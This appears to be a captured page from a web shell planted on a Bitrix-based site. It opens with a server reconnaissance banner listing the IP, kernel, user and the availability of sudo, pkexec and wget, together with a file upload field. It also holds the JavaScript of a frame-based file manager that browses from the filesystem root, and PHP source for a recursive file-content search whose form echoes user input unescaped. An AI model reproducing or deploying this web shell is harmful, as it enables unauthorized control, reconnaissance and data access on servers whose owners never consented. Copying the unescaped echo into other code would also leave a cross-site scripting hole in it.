Server IP : 85.193.89.191 / Your IP : 3.144.237.139 Web Server : Apache System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64 User : bitrix ( 600) PHP Version : 8.1.27 Disable Function : NONE MySQL : OFF | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/bitrix/www/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <head> <title>...::::FM</title> </head> <body marginwidth="0" marginheight="0"> <script language="Javascript" type="text/javascript"> <!-- // Disable text selection, binding the onmousedown, but not for some elements, it must work. function disableTextSelection(e){ var type = String(e.target.type); return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1); } function enableTextSelection(){return true} if (is.ie) document.onselectstart=new Function('return false') else { document.body.onmousedown=disableTextSelection document.body.onclick=enableTextSelection } var flag = false function set_flag(arg) { flag = arg; } function go_dir(arg) { var setflag; setflag = (flag)?1:0; document.location.href='sl.php?frame=2&fm_current_root=%2F&setflag='+setflag+'&fm_current_dir=/var/www/html/s-data/&ec_dir='+arg; } function go(arg) { if (flag) { parent.frame3.set_dir_dest(arg+'/'); flag = false; } else { parent.frame3.location.href='sl.php?frame=3&fm_current_root=%2F&fm_current_dir='+arg+'/'; } } function set_fm_current_root(arg){ document.location.href='sl.php?frame=2&fm_current_root='+encodeURIComponent(arg); } function refresh_tree(){ document.location.href='sl.php?frame=2&fm_current_root=%2F'; } //--> </script> </body> </html> <?php $line_search_post=isset($_POST['line_search'])?$_POST['line_search']:""; $dir_post=isset($_POST['dir'])?trim($_POST['dir']):__DIR__; echo '<br><form method="POST"> Текст поиска: <input type="text" name="line_search" value="'.$line_search_post.'"><br> Папка: <input type="text" size="100" name="dir" value="'.$dir_post.'"> <br> <input type="submit" name="submit" value="Искать"> </form>'; if(isset($_POST['submit'])) { if($_POST['line_search']=="" or $_POST['dir']=="") header("Location: ".$_SERVER['PHP_SELF']); $line_search=$_POST['line_search']; $dir=trim($_POST['dir']); $files_in_dir=array(); //Функция обновляет массив $files_in_dir с именами файлов в указанной папке. function filesdir($dir='.') { global $files_in_dir; $scandir=scandir($dir); //массив с файлами и папками в папке foreach ($scandir as $num_file => $name_file) { if ($name_file=='.' or $name_file=='..') continue; if ($dir=='.') $add_name=""; else $add_name="$dir/"; if (is_file($add_name.$name_file)){ $ext=explode('.',$add_name.$name_file); $ext=$ext[count($ext)-1]; $scriptFileName=explode('/', $_SERVER['PHP_SELF']); $scriptFileName=$scriptFileName[count($scriptFileName)-1]; // if($ext=='gif' or $ext=='zip' or $ext=='js' or $ext=='js' or $ext=='rar' or $ext=='jpg' or $ext=='jpeg' or $ext=='png' or $name_file==$scriptFileName) continue; //Не текстовые файлы, не искать в них. if($ext!='php' and ($ext!='txt') and ($ext!='xml')) continue; $files_in_dir[]=$add_name.$name_file; } elseif (is_dir($add_name.$name_file)) { filesdir($add_name.$name_file); } } } filesdir($dir); foreach ($files_in_dir as $num_file => $name_file) { $file=file($name_file); $found=false; $num_line = array(); $text_num_line = array(); foreach ($file as $line_num => $line_text) { if (stripos($line_text, $line_search) !== false) { $found=true; if (stripos($line_text, 'ya.ru')==true or stripos($line_text, '.run')==true or stripos($line_text, 'yandex.ru')==true or stripos($line_text, 'bitrix.ru')==true or stripos($line_text, 'bitrix24.ru')==true) {$found=false;} $num_line[]=$line_num+1; $text_num_line[]=htmlspecialchars(trim($line_text), ENT_QUOTES); } } if ($found) { echo '<b>'.$name_file.'</b><br>'; $count=count($num_line); for($i=0;$i<=$count-1;$i++) { echo 'Found: line <b>'.$num_line[$i].'</b> ('.$text_num_line[$i].')<br>'; } $num_line=''; } } } ?>